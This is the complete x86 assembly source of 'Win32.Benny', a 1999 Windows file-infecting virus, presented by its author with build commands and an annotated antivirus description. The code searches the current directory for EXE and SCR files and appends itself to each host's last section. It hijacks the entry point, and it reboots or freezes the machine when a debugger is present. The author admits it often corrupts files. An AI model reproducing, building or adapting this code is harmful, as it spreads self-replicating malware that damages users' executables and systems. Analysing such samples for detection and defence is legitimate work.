;-------------------------------------; ; Win32.Benny (c) 1999 by Benny ; ;-------------------------------------; ; ; ; ;Author's description ;--------------------- ; ;Welcome to my second Win32 virus! Don't expect any new things, I only ;present u my last lame virus. Here is it... ; ;Features: ;---------- ; - Win32 infector ; - appends to the last section (usualy .reloc) ; - "already infected" mark as my spec. 64bit checksum. ; - no use of absolute addresses, gets GetModuleHandleA API from IAT ; - compressed (API strings only) ; - using memory mapped files for smarter handling of 'em ; - direct action ; - nonencrypted ; - armoured (using SEH), TD32 fails ; ;Targets: ;--------- ; - *.EXE ; - *.SRC ; ;How to build: ;-------------- ; - tasm32 -ml -q -m4 benny.asm ; tlink32 -Tpe -c -x -aa -r benny,,, import32 ; pewrsec benny.exe ; ; ; ;AVP's description ;------------------ ; ;Benny's notes r in "[* *]". ; ; ;This is a direct action (nonmemory resident) parasitic [* compressed *] Win32 ;virus. It searches for PE EXE files in the Windows, Windows system and current ;directories [* shit! It DOESN'T infect Windows/System directories! *], then ;writes itself to the end of the file. The virus has bugs and in many cases ;corrupts files while infecting them [* Sorry, this is my last lame virus *]. ;The virus checks file names and does not infect the files: RUNDLL32.EXE, ;TD32.EXE, TLINK32.EXE, TASM32.EXE [* and NTVDM.EXE *]. While infecting the ;virus increases the size of last file section, writes itself to there and ;modifies necessary PE header fields including program startup address. ; ;The virus contains the "copyright" string: ; ; Win32.Benny (c) 1999 by Benny ; ; ; ;And here is that promised babe: .386p ;386 instructions .model flat ;32bit offset, no segments include PE.inc ;include some useful files include MZ.inc include Useful.inc include Win32api.inc nFile = 1 ;constants for decompress stage nGet = 2 nSet = 3 nModule = 4 nHandle = 5 nCreate = 6 nFind = 7 nFirst = 8 nNext = 9 nClose = 10 nViewOf = 11 nDirectoryA = 12 nEXE = 13 extrn GetModuleHandleA:PROC ;APIs needed by first generation extrn MessageBoxA:PROC extrn ExitProcess:PROC .data db ? ;shut up, tlink32 ! ends .code Start_Virus: pushad ;save all regs call gdelta ve_strings: ;compressed APIs veszKernel32 db 'KERNEL32', 0 veszGetModuleHandleA db nGet, nModule, nHandle, 'A', 0 veszGetVersion db nGet, 'Version', 0 veszIsDebuggerPresent db 'IsDebuggerPresent', 0 veszCreateFileA db nCreate, nFile, 'A', 0 veszFindFirstFileA db nFind, nFirst, nFile, 'A', 0 veszFindNextFileA db nFind, nNext, nFile, 'A', 0 veszFindClose db nFind, nClose, 0 veszSetFileAttributesA db nSet, nFile, 'AttributesA', 0 veszCloseHandle db nClose, nHandle, 0 veszCreateFileMappingA db nCreate, nFile, 'MappingA', 0 veszMapViewOfFile db 'Map', nViewOf, nFile, 0 veszUnmapViewOfFile db 'Unmap', nViewOf, nFile, 0 veszSetFilePointer db nSet, nFile, 'Pointer', 0 veszSetEndOfFile db nSet, 'EndOf', nFile, 0 veszSetFileTime db nSet, nFile, 'Time', 0 veszGetWindowsDirectoryA db nGet, 'Windows', nDirectoryA, 0 veszGetSystemDirectoryA db nGet, 'System', nDirectoryA, 0 veszGetCurrentDirectoryA db nGet, 'Current', nDirectoryA, 0, 0 veszExe db '*', nEXE, 0 veszScr db '*.SCR', 0 veszNames db 'NTVDM', nEXE, 0 ;files, which we wont db 'RUNDLL32', nEXE, 0 ;infect db 'TD32', nEXE, 0 db 'TLINK32', nEXE, 0 db 'TASM32', nEXE, 0 vszNumberOfNamez = 5 end_ve_stringz db 0ffh ;end of compressed ;strings string_subs: ;string substitutes db 'File', 0 db 'Get', 0 db 'Set', 0 db 'Module', 0 db 'Handle', 0 db 'Create', 0 db 'Find', 0 db 'First', 0 db 'Next', 0 db 'Close', 0 db 'ViewOf', 0 db 'DirectoryA', 0 db '.EXE', 0 num = 14 ;number of 'em gdelta: ;get delta offset mov esi, [esp] mov ebp, esi sub ebp, offset ve_strings lea edi, [ebp + v_strings] next_ch:lodsb ;decompressing stage test al, al je copy_b cmp al, 0ffh je end_unpacking cmp al, num+1 jb packed copy_b: stosb jmp next_ch packed: push esi lea esi, [ebp + string_subs] mov cl, 1 mov dl, al lodsb packed2:test al, al je _inc_ packed3:cmp cl, dl jne un_pck p_cpy: stosb lodsb test al, al jne p_cpy pop esi jmp next_ch un_pck: lodsb test al, al jne packed3 _inc_: inc ecx jmp un_pck seh_fn: @SEH_RemoveFrame ;remove exception frame popad ;heal stack call [ebp + MyGetVersion] ;get version of windoze cmp eax, 80000000h ;WinNT ? jb NT_debug_trap cmp ax, 0a04h ;Win95 ? jb seh_rs call IsDebugger ;Win98, check, if debugger active jecxz seh_rs ;no, continue mov eax, 909119cdh ;yeah, reboot system jmp $ - 4 NT_debug_trap: call IsDebugger ;WinNT, check, if debugger active jecxz seh_rs ;no, continue xor esp, esp ;yeah, freeze app IsDebugger: call [ebp + MyIsDebuggerPresent] ;call checkin API xchg eax, ecx ret quit: pop eax mov eax, [ebp + OrigEPoint] ;get original entrypoint rva sub eax, -400000h ;make it raw pointer mov [esp.Pushad_eax], eax popad jmp eax ;jump to host end_unpacking: lea edx, [ebp + vszKernel32] ;KERNEL32 push edx mov edx, [ebp + MyGetModuleHandleA] ;GetModuleHandleA API call [edx] ;get module of kernel32 xchg eax, ecx jecxz quit ;shit, not found, jump to host xchg ecx, ebx lea edi, [ebp + Virus_End] ;get addresses of APIs lea esi, [ebp + f_names] GetAPIAddress: call MyGetProcAddress jecxz quit xchg eax, ecx stosd @endsz cmp byte ptr [esi], 0 jne GetAPIAddress pushad ;now, we have all APIs, we can check @SEH_SetupFrame ;for debugger inc dword ptr gs:[edx] ;raise exception ;now, we continue at seh_fn label seh_rs: lea esi, [ebp + PathName] ;debugger not present, continue push esi push esi push 256 call [ebp + MyGetCurrentDirectoryA] ;get current directory pop ebx push 256 lea edi, [ebp + WindowsPath] push edi call [ebp + MyGetWindowsDirectoryA] ;get windows directory Next_Char: cmpsb ;compare directories jmp_patch: jne NoMatch ;this jump will be path in next check jne Try_Process_Dir ;jump for next check fail Matched_Char: cmp byte ptr [esi - 1], 0 ;end of string ? jne Next_Char jmp quit NoMatch: ;check for system directory push 256 lea edi, [ebp + WindowsPath] push edi call [ebp + MyGetSystemDirectoryA] mov word ptr [ebp + jmp_patch], 9090h ;patch jump mov esi, ebx jmp Next_Char Try_Process_Dir: call FindFirstFile ;we arnt in \windoze or \system dir, find file inc eax ;success ? je Try_Scr ;nope, try SCRs dec eax process_dir_check: call CheckFileName ;check name jnc Infect_File ;ok, infect file call FindNextFile ;nope, find next file test eax, eax jne process_dir_check ;ok, check name Try_Scr: call FindClose ;find previous searchin lea edx, [ebp + Win32_Find_Data] push edx lea edx, [ebp + vszScr] push edx call [ebp + MyFindFirstFileA] ;find first SCR inc eax je quit ;no files left, jump to host dec eax Infect_File: ;Check size xor ecx, ecx lea ebx, [ebp + Win32_Find_Data] test byte ptr [ebx], FILE_ATTRIBUTE_DIRECTORY jne end_size_check ;discard directories cmp [ebx.WFD_nFileSizeHigh], ecx ;discard huge files jne end_size_check mov edi, [ebx.WFD_nFileSizeLow] lea esi, [ebx.WFD_szFileName] cmp edi, 16 * 1024 ;discard small files jb end_size_check cmp edi, 64000 * 1024 jg end_size_check ;discard huge files push ecx ;blank file attributez push esi call [ebp + MySetFileAttributesA] test eax, eax je end_size_check push edi ;open and map file sub edi, Start_Virus - Virtual_End call Open&MapFile pop edi test ecx, ecx je end_SetFileAttributez cmp word ptr [ecx], 'ZM' ;Check PE-header jne Close&UnmapFile xchg eax, edx mov edx, [ecx.MZ_lfanew] cmp eax, edx jb CloseFile add edx, ecx cmp dword ptr [edx], 'EP' jne CloseFile movzx eax, word ptr [edx.NT_FileHeader.FH_Machine] cmp ax, 14ch ;must be 386+ jne CloseFile mov ebx, ecx movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] cmp ecx, 3 jb CloseFile ;at least 3 sections mov ax, word ptr [edx.NT_FileHeader.FH_Characteristics] not al test ax, 2002h ;executable, but not DLL jne CloseFile cmp dword ptr [edx.NT_OptionalHeader.OH_ImageBase], 64*65536 ;image base only 400000h jne CloseFile lea eax, [ebp + vszGetModuleHandleA] mov ecx, ebx lea edx, [ebp + vszKernel32] call GetProcAddressIT ;find GetModuleHandleA API entry test eax, eax je CloseFile lea edx, [ebp + MyGetModuleHandleA] sub eax, -400000h mov [edx], eax ;save that entry pushad ;load 64bit checksum push ebx mov esi, ebx sub esi, -MZ_res2 lodsd mov ebx, eax lodsd mov edi, eax pop esi push esi push ebp mov eax, [ebp + Win32_Find_Data.WFD_nFileSizeLow] sub esi, -MZ_res2 - 8 mov ebp, 8 cdq div ebp cdq mul ebp pop ebp mov ecx, eax call Checksum64 ;generate new 64bit checksum pop esi ;and compare checksums cmp ebx, edx jne n_Infect cmp edi, eax je CloseFile n_Infect: popad push ecx push ecx mov edx, [ecx.MZ_lfanew] add edx, ecx movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] lea esi, [edx.NT_OptionalHeader + esi] ;locate first section movzx ecx, word ptr [edx.NT_FileHeader.FH_NumberOfSections] ;get number of sctnz mov edi, esi ;get LAST section xor eax, eax push ecx BSection: cmp [edi.SH_PointerToRawData], eax je NBiggest mov ebx, ecx mov eax, [edi.SH_PointerToRawData] NBiggest: sub edi, -IMAGE_SIZEOF_SECTION_HEADER loop BSection pop ecx sub ecx, ebx push edx imul eax, ecx, IMAGE_SIZEOF_SECTION_HEADER pop edx add esi, eax mov edi, dword ptr [esi.SH_SizeOfRawData] mov eax, Virtual_End - Start_Virus push edi lea edi, [esi.SH_VirtualSize] ;new virtual size of section push dword ptr [edi] add [edi], eax mov eax, [edi] push edx mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment] xor edx, edx div ecx xor edx, edx inc eax mul ecx mov [esi.SH_SizeOfRawData], eax ;new SizeOfRawData (aligned virtual size) mov ecx, eax pop edx pop ebx add ebx, [esi.SH_VirtualAddress] mov eax, [edx.NT_OptionalHeader.OH_AddressOfEntryPoint] pop edi push eax mov eax, [ebp + OrigEPoint] pop [ebp + OrigEPoint] mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], ebx sub ecx, edi add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage or byte ptr [esi.SH_Characteristics.hiw.hib], 0e0h ;change flags pop edi add edi, [esi.SH_PointerToRawData] add edi, [esi.SH_VirtualSize] add edi, Start_Virus - Virtual_End lea esi, [ebp + Start_Virus] mov ecx, (Virus_End - Start_Virus + 3) / 4 rep movsd ;copy virus mov [ebp + OrigEPoint], eax ;restore variable after copy stage jmp CloseFileOK CloseFile: call Close&UnmapFile ;unmap view of file jmp end_SetFileAttributez ;and restore attributes CloseFileOK: pop esi push esi push ebx push ebp mov ebp, 8 mov ebx, MZ_res2 + 8 add esi, ebx mov ecx, ebp mov eax, edi add eax, ebx sub eax, esi cdq div ecx cdq imul ecx, eax, 8 call Checksum64 ;generate new 64bit checksum as "already infected" mark sub esi, ebp mov [esi], edx ;store it to MZ.MZ_res2 field mov [esi+4], eax pop ebp pop ebx pop esi sub edi, esi mov [ebp + Win32_Find_Data.WFD_nFileSizeLow], edi ;correct file size for unmapping call Close&UnmapFile ;unmap view of file end_SetFileAttributez: push dword ptr [ebp + Win32_Find_Data] ;restore attributes push esi call [ebp + MySetFileAttributesA] end_size_check: call FindNextFile ;find next file test eax, eax jne next_file ;weve got one, check that call FindClose ;nope, close search handle jmp quit ;and jump to host next_file: call CheckFileName ;check file name jnc Infect_File ;ok, infect it jmp end_size_check ;nope, try next file CheckFileName proc ;check file name lea edi, [ebp + Win32_Find_Data.WFD_szFileName] lea esi, [ebp + vszNamez] mov ecx, vszNumberOfNamez mov edx, edi Ext_Next_Char: @endsz mov edi, edx Ext_Next_Char2: cmpsb je Ext_Matched_Char inc eax loop Ext_Next_Char clc ret Ext_Matched_Char: cmp byte ptr [esi - 1], 0 jne Ext_Next_Char2 stc end_Ext_Checking: ret CheckFileName EndP FindFirstFile proc ;find first file procedure lea edx, [ebp + Win32_Find_Data] push edx lea edx, [ebp + vszExe] push edx call [ebp + MyFindFirstFileA] mov [ebp + SearchHandle], eax ret FindFirstFile EndP FindNextFile proc ;find next file procedure lea edx, [ebp + Win32_Find_Data] push edx push dword ptr [ebp + SearchHandle] call [ebp + MyFindNextFileA] ret FindNextFile EndP FindClose proc ;find close procedure push dword ptr [ebp + SearchHandle] call [ebp + MyFindClose] ret FindClose EndP Open&MapFile proc ;open and map file procedure xor eax, eax push eax ;NULL push eax ;FILE_ATTRIBUTE_NORMAL push 3 ;OPEN_EXISTING push eax ;NULL push 1 ;FILE_SHARE_READ push 0c0000000h ;GENERIC_READ | GENERIC_WRITE push esi ;pszFileName call [ebp + MyCreateFileA] ;open cdq inc eax je end_Open&MapFile dec eax mov [ebp + hFile], eax push edx ;NULL push edi ;file size push edx ;0 push 4 ;PAGE_READWRITE push edx ;NULL push eax ;handle call [ebp + MyCreateFileMappingA] ;create mapping object cdq xchg ecx, eax jecxz end_Open&MapFile2 mov [ebp + hMapFile], ecx push edx ;0 push edx ;0 push edx ;0 push 2 ;FILE_MAP_WRITE push ecx ;handle call [ebp + MyMapViewOfFile] ;map file to address space of app mov ecx, eax jecxz end_Open&MapFile3 mov [ebp + lpFile], ecx end_Open&MapFile: mov ecx, eax ret Open&MapFile EndP Close&UnmapFile proc ;close and unmap file procedure push dword ptr [ebp + lpFile] call [ebp + MyUnmapViewOfFile] ;unmap file end_Open&MapFile3: push dword ptr [ebp + hMapFile] call [ebp + MyCloseHandle] ;close mapping object end_Open&MapFile2: mov ebx, [ebp + hFile] cdq ;xor edx, edx push edx ;FILE_BEGIN push edx ;0 - high offset push dword ptr [ebp + Win32_Find_Data.WFD_nFileSizeLow] push ebx call [ebp + MySetFilePointer] push ebx call [ebp + MySetEndOfFile] ;truncate file lea edx, [ebp + Win32_Find_Data.WFD_ftLastWriteTime] push edx lea edx, [ebp + Win32_Find_Data.WFD_ftLastAccessTime] push edx lea edx, [ebp + Win32_Find_Data.WFD_ftCreationTime] push edx push ebx call [ebp + MySetFileTime] ;restore time push ebx call [ebp + MyCloseHandle] ;and finally close file ret Close&UnmapFile EndP ;procedure for exploring modules export table MyGetProcAddress proc ;input: ;ebx - module address ;esi - pointer to API name ;output: ;ecx - address of GetProcAddress at memory push ebx push edi push esi push ebp @SEH_SetupFrame mov eax, ebx add eax, [eax.MZ_lfanew] mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size] jecxz Proc_Address_not_found mov ebp, ebx add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] push ecx mov edx, ebx add edx, [ebp.ED_AddressOfNames] mov ecx, [ebp.ED_NumberOfNames] xor eax, eax Search_for_API_name: mov edi, [esp + 16] mov esi, ebx add esi, [edx + eax * 4] Next_Char_in_API_name: cmpsb jz Matched_char_in_API_name inc eax loop Search_for_API_name pop eax Proc_Address_not_found: xor eax, eax jmp End_MyGetProcAddress Matched_char_in_API_name: cmp byte ptr [esi-1], 0 jne Next_Char_in_API_name pop ecx mov edx, ebx add edx, [ebp.ED_AddressOfOrdinals] movzx eax, word ptr [edx + eax * 2] Check_Index: cmp eax, [ebp.ED_NumberOfFunctions] jae Proc_Address_not_found mov edx, ebx add edx, [ebp.ED_AddressOfFunctions] add ebx, [edx + eax * 4] mov eax, ebx sub ebx, ebp cmp ebx, ecx jb Proc_Address_not_found End_MyGetProcAddress: @SEH_RemoveFrame xchg eax, ecx pop ebp pop esi pop edi pop ebx ret MyGetProcAddress endp ;all beginners=> im so sorry, but I didnt have any time to comment this stuff. GetProcAddressIT proc ;input: ;EAX - API name ;ECX - lptr to PE header ;EDX - module name ;output: ;EAX - RVA pointer to IAT, 0 if error pushad xor eax, eax push ebp mov ebp, ecx lea esi, [ecx.MZ_lfanew] add ebp, [esi] mov esi, ebp ;RVA of Import table mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] mov ebp, ecx push ecx movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections] movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader] lea ebx, [esi.NT_OptionalHeader + ebx] scan_sections: mov edx, [ebx.SH_VirtualAddress] cmp edx, eax je section_found sub ebx, -IMAGE_SIZEOF_SECTION_HEADER loop scan_sections pop ecx pop eax jmp End_GetProcAddressIT2 section_found: mov ebx, [ebx + 20] add ebx, ebp pop ecx pop eax test ebx, ebx je End_GetProcAddressIT2 xor esi, esi xor ebp, ebp push esi dec ebp Get_DLL_Name: pop esi inc ebp mov edi, [esp + 20] mov ecx, [ebx.esi.ID_Name] ;Name RVA test ecx, ecx je End_GetProcAddressIT2 sub ecx, edx sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR push esi lea esi, [ebx + ecx] Next_Char_from_DLL: lodsb add al, -'.' jz IT_nup sub al, -'.' + 'a' cmp al, 'z' - 'a' + 1 jae no_up add al, -20h no_up: sub al, -'a' IT_nup: scasb jne Get_DLL_Name cmp byte ptr [edi-1], 0 jne Next_Char_from_DLL Found_DLL_Name: pop esi imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR mov ecx, [ebx + eax.ID_OriginalFirstThunk] jecxz End_GetProcAddressIT2 sub ecx, edx add ecx, ebx xor esi, esi Next_Imported_Name: push esi mov edi, [esp + 32] mov esi, [ecx + esi] test esi, esi je End_GetProcAddressIT3 sub esi, edx add esi, ebx lodsw next_char: cmpsb jne next_step cmp byte ptr [esi-1], 0 je got_it jmp next_char next_step: pop esi sub esi, -4 jmp Next_Imported_Name got_it: pop esi imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR add ebx, ebp mov eax, [ebx.ID_FirstThunk] add eax, esi mov [esp + 28], eax jmp End_GetProcAddressIT End_GetProcAddressIT3: pop eax End_GetProcAddressIT2: xor eax, eax mov [esp.Pushad_eax], eax End_GetProcAddressIT: popad ret GetProcAddressIT EndP Checksum64 proc ;output: ; EDX:EAX - 64-bit checksum push ebx ;save regs push ecx push edi push esi xor eax, eax ;nulify eax cdq ;nulify edx make_crc: call crc_byte ;read 8 bytes adc eax, ebx ;add LSD + CF to LSD jnc @1 not eax ;invert LSD @1: xor eax, edx ;rotate LSD LSB times jp @2 call crc_rotate ;rotate LSD and MSD @2: js crc_msd sbb eax, edx ;sub LSD with MSD + CF crc_msd:sbb edx, edi ;sub MSD with MSD + CF jnp @3 not edx ;invert MSD @3: xor edx, eax ;xor MSD with LSD jns @4 call crc_rotate ;rotate LSD and MSD @4: jc crc_loop adc edx, eax ;add LSD to MSD + CF crc_loop: jp next_loop call crc_swap ;swap bytes in LSD and MSD next_loop: dec eax ;decrement LSD inc edx ;increment MSD loop make_crc ;until ecx = 1 pop esi ;restore regs pop edi pop ecx pop ebx ret crc_byte: ;read 8 bytes from source push eax lodsd ;load 4 bytes mov ebx, eax ;ebx = new 4 bytes lodsd ;load next 4 bytes mov edi, eax ;edi = new 4 bytes pop eax add ecx, -7 ;correct ecx for loop ret crc_rotate: ;rotate LSD and MSD push ecx push edi xor edi, eax ;xor MSD with LSD mov ecx, edi ;count of rotations pop edi rcr eax, cl ;rotate LSD push ebx xor ebx, edx ;xor LSD with MSD mov ecx, ebx ;count of rotations pop ebx rcl edx, cl ;rotate MSD pop ecx ret crc_swap: ;swap bytes in LSD and MSD xchg al, dh ;swap LSD and MSD lower bytes xchg ah, dl ; ... rol eax, 16 ;get highest bytes rol edx, 16 ; ... xchg al, dh ;swap LSD and MSD higher bytes xchg ah, dl ; ... xchg eax, edx ;and swap LSD with MSD ret db 'Win32.Benny (c) 1999 by Benny', 0 ;my mark Checksum64 EndP OrigEPoint dd offset host - 400000h MyGetModuleHandleA dd offset _GetModuleHandleA Virus_End: MyGetVersion dd ? MyIsDebuggerPresent dd ? MyCreateFileA dd ? MyFindFirstFileA dd ? MyFindNextFileA dd ? MyFindClose dd ? MySetFileAttributesA dd ? MyCloseHandle dd ? MyCreateFileMappingA dd ? MyMapViewOfFile dd ? MyUnmapViewOfFile dd ? MySetFilePointer dd ? MySetEndOfFile dd ? MySetFileTime dd ? MyGetWindowsDirectoryA dd ? MyGetSystemDirectoryA dd ? MyGetCurrentDirectoryA dd ? v_strings: vszKernel32 db 'KERNEL32', 0 vszGetModuleHandleA db 'GetModuleHandleA', 0 f_names: vszGetVersion db 'GetVersion', 0 vszIsDebuggerPresent db 'IsDebuggerPresent', 0 vszCreateFileA db 'CreateFileA', 0 vszFindFirstFileA db 'FindFirstFileA', 0 vszFindNextFileA db 'FindNextFileA', 0 vszFindClose db 'FindClose', 0 vszSetFileAttributesA db 'SetFileAttributesA', 0 vszCloseHandle db 'CloseHandle', 0 vszCreateFileMappingA db 'CreateFileMappingA', 0 vszMapViewOfFile db 'MapViewOfFile', 0 vszUnmapViewOfFile db 'UnmapViewOfFile', 0 vszSetFilePointer db 'SetFilePointer', 0 vszSetEndOfFile db 'SetEndOfFile', 0 vszSetFileTime db 'SetFileTime', 0 vszGetWindowsDirectoryA db 'GetWindowsDirectoryA', 0 vszGetSystemDirectoryA db 'GetSystemDirectoryA', 0 vszGetCurrentDirectoryA db 'GetCurrentDirectoryA', 0, 0 vszExe db '*.EXE', 0 vszScr db '*.SCR', 0 vszNamez db 'NTVDM.EXE', 0 db 'RUNDLL32.EXE', 0 db 'TD32.EXE', 0 db 'TLINK32.EXE', 0 db 'TASM32.EXE', 0 PathName db 256 dup (?) WindowsPath db 256 dup (?) Win32_Find_Data WIN32_FIND_DATA ? SearchHandle dd ? hFile dd ? hMapFile dd ? lpFile dd ? Virtual_End: _GetModuleHandleA dd offset GetModuleHandleA host: push 1000h push offset Msg push offset Msg push 0 call MessageBoxA exit_h: push 0 call ExitProcess Msg db 'First generation of Win32.Benny', 0 ends End Start_Virus